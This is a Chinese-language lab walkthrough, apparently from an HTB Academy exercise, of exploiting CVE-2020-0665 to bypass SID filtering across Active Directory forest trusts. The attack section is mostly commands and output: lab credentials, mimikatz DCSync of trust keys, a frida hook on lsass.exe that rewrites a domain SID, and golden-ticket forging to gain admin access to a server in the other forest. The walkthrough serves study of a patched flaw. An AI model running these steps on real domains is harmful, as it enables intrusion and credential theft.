跨林攻击-Bypass SID Filter
2020 年, Dirk-jan Mollema 在他的博客文章中发现了 Active Directory 中的一个逻辑缺陷,编号为 CVE-2020-0665 。该缺陷允许绕过 SID filtering 机制,从而入侵受信任林中的主机。此缺陷已在 February 2020 更新中修复
该漏洞利用了传递性信任的特性(这一设计初衷内的特性,允许攻击者攻破受信任林中任何建立了双向传递性信任关系的服务器或工作站。
1. 传递信托(Transitive Trust)
传递信任是指 Active Directory 中一种超越两个域的信任关系,它涵盖了林中的其他域。本质上,它支持在同一林中的多个域之间进行身份验证和资源访问。这种信任的特点在于能够将身份验证请求和权限传播到林中的所有域,从而实现对资源的无缝访问,而无需考虑资源位于哪个域。传递信任简化了林中的用户身份验证和资源共享,从而促进了整个 Active Directory 基础架构的高效协作和管理。
在传递信任场景中,例如 Forest A 和 Forest B 之间, Forest B 不仅信任 Forest A ,而且还将其信任扩展到 Forest A 内的所有域,包括子域、子子域以及 Forest A 内的任何其他域树。
如果在 inlanefreight.ad 中添加了一个新的子域,那么 logistics.ad 会在 24 小时内自动获取新子域的 SID 。域控制器每 24 小时会执行一次 Netlogon 调用 NetrGetForestTrustInformation ,根据 MSDN 的说明,该调用会以 LSA_FOREST_TRUST_RECORD 格式返回林信任信息。
1.1. msDS-TrustForestTrustInfo
信任关系的详细信息存储在 Forest B (Logistics.ad) 中的 Trusted Domain 对象中。此机制允许 Forest B ( logistics.ad ) 不仅与 Forest A ( inlanefreight.ad ) 建立信任关系,而且与 Forest A 的所有关联域 ( child.inlanefreight.ad ) 建立信任关系,从而实现整个 Forest 基础架构的无缝身份验证和资源访问。
该属性名为 msDS-TrustForestTrustInfo ,它是一个在 MS-ADTS 中描述的二进制字段,包含林中每个域的结构。
解析msDS-TrustForestTrustInfo信息
利用forest-trust-tools中的 ftinfo.py 来解析来自 msDS-TrustForestTrustInfo 的数据
ftinfo.py 脚本第 14 行中的 data 变量会更新为 msDS-TrustForestTrustInfo 属性的值。
python3 ftinfo.py
FOREST_TRUST_INFO
Version: {1}
Recordcount: {3}
Records: {[<__main__.FOREST_TRUST_INFO_RECORD object at 0x7f081266fca0>, <__main__.FOREST_TRUST_INFO_RECORD object at 0x7f0812613760>, <__main__.FOREST_TRUST_INFO_RECORD object at 0x7f0812624e50>]}
Domain b'child.inlanefreight.ad' has SID S-1-5-21-3878752286-62540090-653003637
Domain b'child.inlanefreight.ad' has SID b'\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x1e\x101\xe7:I\xba\x03u\x0b\xec&'
Domain b'inlanefreight.ad' has SID S-1-5-21-2432454459-173448545-3375717855
Domain b'inlanefreight.ad' has SID b'\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00;O\xfc\x90a\x9dV\n\xdf]5\xc9'
结果显示logistics 域的 msDS-TrustForestTrustInfo 属性具有 inlanefreight.ad 和 child.inlanefreight.ad 的 SIDs
1.2. 添加自己的SIDs到信任中
如果我们完全控制了 Forest A 内的所有操作,我们就能够操纵该林内建立的信任关系。通过向 Forest A 内的域列表中添加任意SIDs ,我们可以影响林内域之间的信任关系。因此,任何添加到 Forest A 新域在默认的信任传播期(通常为 24小时之后,都会被其他林(例如 Forest B)
假设我们已经攻破并完全控制了 inlanefreight.ad 域,我们可以更改并向 child.inlanefreight.ad 添加任意 SID ,最终该 SID 将被传播到 logistics.ad
1.3. 本地域和AD域
当查询域内的某个成员服务器或工作站所信任的域数量时,通常会报告两个。其中一个是该工作站或服务器所属的AD域;另一个则是该特定机器唯一的本地域。
这个本地域存储在SAM注册表配置单元中,包含了本地账户和组,其中包括内置的管理员账户,该账户通常是PTH攻击的主要目标。
因为AD并不管理成员系统上的这些本地域,因此也无法感知它们的存在。所以,每一个AD域下拥有的本地域数量,等同于加入该域的系统总数(计算机数),这反映了整个网络中本地账户和配置的多样性。
1.4. CVE-2020-0665
它源于一个默认配置,该配置允许位于 trusting 林中的攻击者请求为来自 trusted 林的身份委派TGT。此漏洞通常被称为 Active Directory Elevation of Privilege Vulnerability
1.4.1. 利用步骤
- 伪造与目标本地域 SID 相同的域
- 等待 SID 被加入允许列表
- 创建包含目标本地管理员 SID 的跨域票据
- 验证林 B 域控是否签发票据
- 以管理员权限连接目标服务器
要求:
- DC01 和 DC02 必须具有双向传递信任
- DC01 必须拥有子域(子域名)
- DC02 至少有一台已加入域的成员服务器或工作站
如果 Forest-A 中的 DC01 被攻破,利用 CVE-2020-0665 漏洞,攻击者便有机会控制 Forest-B 中 DC02 内任何 domain-joined 成员服务器。此漏洞利用的关键在于将 Forest-A 中某个子域的 SID 修改为 DC02 中加入域成员服务器的 local domain 的 SID
我们无法拿下受信任林(
Forest-B)中的域控制器,因为虽然域在 SAM 中有本地域,但它仅在恢复模式下处于活动状态,这不符合实施此攻击的必要条件。
2. 案例
2.1. 环境&攻击流程
流程:
- 控制子域:控制子域 (
child.inlanefreight.ad),该子域默认与Logistics域建立了信任关系(这是由于域之间存在双向传递性信任) - 枚举目标本地 SID:使用
Inlanefreight域的凭据,枚举Logistics域中工作站(SQL02)的本地域 SID - 修改子域 SID 属性:修改存储在
Inlanefreight域中的子域对象属性,将其 Domain SID 更改为与Logistics域成员服务器(SQL02)一样的的本地域 SID - 伪造金票:子域的新 SID 会传播回
Logistics域,这使得我们能够为SQL02生成一个包含 RID 500的金票 - 登录目标主机:使用生成的票据,以该主机的管理员身份登录
logistics.ad域中的SQL02服务器
2.2. 攻击演示
假设目前已经拿下来inlanefreight.ad域,将要进行对Logistics 域的横向
我们需要收集一下信息:
- 受害服务器的本地 SID (SQL02.logistics.ad)
child.inlanefreight.ad的子域 SIDinlanefreight.ad的域名 SID- 带有 RC4 哈希值的跨域票据(适用于
logistics.ad) - 使用 AES 密钥的跨域票据(适用于
logistics.ad)
可以使用 forest-trust-tools 中的 getlocalsid.py, 并结合 Inlanefreight/Administrator 帐户的凭据,获取 logistics.ad 域中 SQL02 服务器的本地 SID
2.2.1. 获取 SQL02.logistics.ad 的本地 SID
python getlocalsid.py inlanefreight.ad/Administrator@SQL02.logistics.ad SQL02
2.2.2. 获取 child.inlanefreight.ad 的域 SID
lookupsid.py inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@172.16.118.20 | grep "Domain SID"
2.2.3. 获取 inlanefreight.ad 的域名 SID
lookupsid.py inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@172.16.118.3 | grep "Domain SID"
然后我们需要使用 mimikatz 获取带有 AES keys Inter-realm 票据。这需要先获取 logistics.ad 的 objectguid,然后在 Mimikatz 中使用 /guid 选项并传入 logistics.ad 的 guid
2.2.4. 枚举 logistics.ad 的 GUID
PS C:\Tools> Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' | select name,objectguid
name objectguid
---- ----------
logistics.ad 8d52f9da-361b-4dc3-8fa7-af5f282fa741
child.inlanefreight.ad 44591edf-66d2-4d8c-8125-facb7fb3c643
2.2.5. 获取跨域票据
PS C:\Tools> .\mimikatz.exe "lsadump::dcsync /guid:{8d52f9da-361b-4dc3-8fa7-af5f282fa741}" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /guid:{8d52f9da-361b-4dc3-8fa7-af5f282fa741}
[DC] 'inlanefreight.ad' will be the domain
[DC] 'DC01.inlanefreight.ad' will be the DC server
[DC] Object with GUID '{8d52f9da-361b-4dc3-8fa7-af5f282fa741}'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : logistics.ad
** TRUSTED DOMAIN - Antisocial **
Partner : logistics.ad
[ In ] INLANEFREIGHT.AD -> LOGISTICS.AD
* 3/9/2024 2:59:14 AM - CLEAR - c3 e5 50 e1 5d 93 50 97 ef a7 fd 9d 8a 98 57 79 fc e6 c4 29 d2 d1 32 ec 84 e9 7d 82 ac 96 5e 04 94 e9 c3 bc 38 b3 8e 75 c1 bc 53 b9 c4 9e 28 82 52 7e f3 06 84 73 80 e9 1f b6 80 83 6d 1c 98 85 10 85 34 80 6b e8 d4 66 6c 68 37 7f 87 55 d4 b1 ab a5 b1 ad 2c 9c 95 03 a9 8a 86 2d 66 22 b0 5b 4b ac b8 80 d0 d9 ca b5 b7 8d 2d 59 3c 50 b3 41 88 7d 7a ef fb 3d 33 aa 51 04 f3 17 1b 55 ce c1 d2 0a 70 48 e0 73 d4 59 6e a1 af d5 1e bd 78 14 7d 5a 03 52 05 f1 c5 51 48 f5 e4 d8 cf f0 d7 91 24 9f 50 f4 c0 08 ed a2 e7 dd 83 60 4e 2d 9c be 1b 5b cd 90 44 4d 86 3c 4f 60 16 19 b5 54 9f 44 ca 5e 51 bf a8 7d 84 3c 24 f8 f2 ff 1d 38 55 44 22 ac 60 eb 88 46 42 55 1f 7a 2a 1d 98 d1 47 f1 74 c9 6a b6 8f 3e a7 58 4b d1 b7 cb 9b 30 46 e1
* aes256_hmac 179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8
* aes128_hmac f1091ce43342170b7c29eb9a54a413e4
* rc4_hmac_nt c586031a224f252a7c8a31a6d2210cc1
<SNIP>
注意:作为账户维护流程的一部分,信任域控制器每 30 天会更改存储在
TDO中的密码 。因此,您可能会看到与上面所示不同的 mimikatz 输出。
2.2.6. 转换 SID
为了让 logistics.ad 在之后的票据请求中接受我们的 SID,我们需要让它误以为在 inlanefreight 域中存在一个域,其 SID 与 Logistics 域中某台服务器(SQL02)的 SID 相同。我们需要将 SQL02.logistics.ad 的本地域SID注入到 child.inlanefreight.ad 中。
这里需要使用一个 frida的hook脚本,该脚本会拦截并挂钩 Inlanefreight 域控上的 lsass.exe 进程。当 logistics 域处理 NetrGetForestTrustInformation 函数时,它会将现有的子域(child.inlanefreight.ad)的 SID 替换为目标 SID(SQL02.logistics.ad)
首先修改frida_intercept.py的内容,把child.inlanefreight.ad 和 SQL02.logistics.ad 的SID二进制形式写入其中(SID的操作部分通常在第 20-21 行附近)。我们将现有变量(例如 var buf1 )替换为 child.inlanefreight.ad 的二进制 SID 表示形式,并将 var newsid 替换为 SQL02.logistics.ad 的二进制 SID 表示形式。
我们可以使用 Save-editor来快速将SID十进制形式转换成hex,然后按照小端排序。
当然也可以自己写脚本,如下
input_string = 'S-1-5-21-2327345182-1863223493-3435513819'
prefix = 'S-1-5-21-'
# Split the input string after the constant prefix
components = input_string.split(prefix, 1)
if len(components) > 1:
remaining_string = components[1]
split_values = remaining_string.split('-')
output_list = []
for i in split_values:
decimal_number = int(i)
hexadecimal_value = hex(decimal_number)[2:].zfill(8)
little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)])
bytes_list = little.split()
formatted_bytes = ', '.join([f"0x{byte.upper()}" for byte in bytes_list])
output_list.append(formatted_bytes)
final_output = ', '.join(output_list)
print("0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output)
| SID | SID 的二进制表示 |
|---|---|
| S-1-5-21-3878752286-62540090-653003637 | 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x10, 0x31, 0xE7, 0x3A, 0x49, 0xBA, 0x03, 0x75, 0x0B, 0xEC, 0x26 0x01、0x04、0x00、0x00、0x00、0x00、0x00、0x05、0x15、0x00、0x00、0x00、0x00、0x1E、0x10、0x31、0xE7、0x3A、0x49、0xBA、0x03、0x75、0x0B、0xEC、0x26 |
| S-1-5-21-2327345182-1863223493-3435513819 | 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x78, 0xB8, 0x8A, 0xC5, 0x88, 0x0E, 0x6F, 0xDB, 0xC7, 0xC5, 0xCC 0x01、0x04、0x00、0x00、0x00、0x00、0x00、0x05、0x15、0x00、0x00、0x00、0x1E、0x78、0xB8、0x8A、0xC5、0x88、0x0E、0x6F、0xDB、0xC7、0xC5、0xCC |
2.2.7. 更新 frida_intercept.py 中的 SID 值
<SNIP>
// Sid as binary array to find/replace
var buf1 = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x10, 0x31, 0xE7, 0x3A, 0x49, 0xBA, 0x03, 0x75, 0x0B, 0xEC, 0x26];
var newsid = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x78, 0xB8, 0x8A, 0xC5, 0x88, 0x0E, 0x6F, 0xDB, 0xC7, 0xC5, 0xCC];
<SNIP>
然后以 Inlanefreight 域中的 SYSTEM 用户身份执行该脚本,在这之前先验证一下child.inlanefreight.ad当前的SID
2.2.8. 验证子域控制器的原始 SID
python3 gettrustinfo.py inlanefreight.ad/logistics.ad@DC01 -hashes :c586031a224f252a7c8a31a6d2210cc1 -target 172.16.118.3
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
<SNIP>
DomainInfo:
Sid:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
3878752286,
62540090,
653003637,
]
DnsName: 'child.inlanefreight.ad'
NetbiosName: 'CHILD' ,
]
然后以 SYSTEM 身份执行 frida_intercept.py ,hook到lsass.exe进程中,拦截并修改子域的 SID,并使其在后台运行
2.2.9. 以 SYSTEM 身份启动 PowerShell
PS C:\Tools> .\PsExec.exe -s -i powershell.exe
PS C:\Windows\system32> whoami
nt authority\system
2.2.10. 执行 frida_intercept.py
PS C:\Tools> python frida_intercept.py lsass.exe
lsadb.all baseAddr:0x7ffbe2d10000
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
...
将其放在后台运行,
再次使用 gettrustinfo 请求 child.inlanefreight.ad 的 SID,我们应该会得到以下 SID: 21,2327345182, 1863223493,3435513819 ,这是 SQL02.logistics.ad 的 SID
python gettrustinfo.py inlanefreight.ad/logistics.ad@DC01 -hashes :c586031a224f252a7c8a31a6d2210cc1 -target 172.16.118.3
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
<SNIP>
DomainInfo:
Sid:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: b'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
2327345182,
1863223493,
3435513819,
]
DnsName: 'child.inlanefreight.ad'
NetbiosName: 'CHILD' ,
]
此时,我们已经为 child.inlanefreight.ad 获取到了一个新的 SID,该 SID 就是 SQL02.logistics.ad 的 SID
等待24 小时后,当 logistics 域对 inlanefreight 域执行 Netlogon 调用 NetrGetForestTrustInformation 时,它也会收到 frida_intercept.py 拦截的新 SID
2.2.11. 申请黄金票据
然后可以申请一张金票,并将 SQL02 的 SID 作为额外 SID(extra-sid)包含在内。由于这是代表本地管理员的本地域 SID,我们还需要在 SQL02 的 SID 末尾加上 -500 作为 RID。
PS C:\Tools> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
' #####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # kerberos::golden /domain:inlanefreight.ad /sid:S-1-5-21-2432454459-173448545-3375717855 /user:user1 /target:logistics.ad /service:krbtgt /sids:S-1-5-21-2327345182-1863223493-3435513819-500 /aes256:179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8
User : user1
Domain : inlanefreight.ad (INLANEFREIGHT)
SID : S-1-5-21-2432454459-173448545-3375717855
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-2327345182-1863223493-3435513819-500 ;
ServiceKey: 179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8 - aes256_hmac
Service : krbtgt
Target : logistics.ad
Lifetime : 3/27/2024 3:13:45 AM ; 3/25/2034 3:13:45 AM ; 3/25/2034 3:13:45 AM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
mimikatz # exit
2.2.12. 请求TGS
PS C:\Tools> .\kekeo.exe
kekeo # tgs::ask /tgt:ticket.kirbi /service:cifs/SQL02.logistics.ad@LOGISTICS.AD /kdc:DC02.logistics.ad /ptt
Ticket : ticket.kirbi
[krb-cred] S: krbtgt/logistics.ad @ inlanefreight.ad
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: user1 @ inlanefreight.ad
[enc-krb-cred] S: krbtgt/logistics.ad @ inlanefreight.ad
[enc-krb-cred] T: [3/27/2024 3:13:45 AM ; 3/25/2034 3:13:45 AM] {R:3/25/2034 3:13:45 AM}
[enc-krb-cred] F: [40a00000] pre_authent ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): b8c3d3175ec8eedf24d2bb15942f94869b2572efcc192b2a664e00869ff5b27b
[kdc] name: DC02.logistics.ad
Service(s):
cifs/SQL02.logistics.ad @ LOGISTICS.AD
`> cifs/SQL02.logistics.ad : OK!
kekeo # exit
验证一下
C:\Tools>klist
Current LogonId is 0:0xdd8a8
Cached Tickets: (1)
#0> Client: user1 @ inlanefreight.ad
Server: cifs/SQL02.logistics.ad @ LOGISTICS.AD KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 3/27/2024 3:16:14 (local)
End Time: 3/27/2024 13:16:14 (local)
Renew Time: 4/3/2024 3:16:14 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
2.2.13. 跨林访问SQL02
C:\Tools>dir \\SQL02.logistics.ad\c$
Volume in drive \\SQL02.logistics.ad\c$ has no label.
Volume Serial Number is 2281-DAED
Directory of \\SQL02.logistics.ad\c$
03/26/2024 12:21 PM <DIR> flag
07/16/2016 06:23 AM <DIR> PerfLogs
01/04/2024 03:01 AM <DIR> Program Files
01/04/2024 02:59 AM <DIR> Program Files (x86)
01/04/2024 02:48 AM <DIR> temp
01/04/2024 02:52 AM <DIR> Users
12/26/2023 09:35 AM <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 25,672,945,664 bytes free

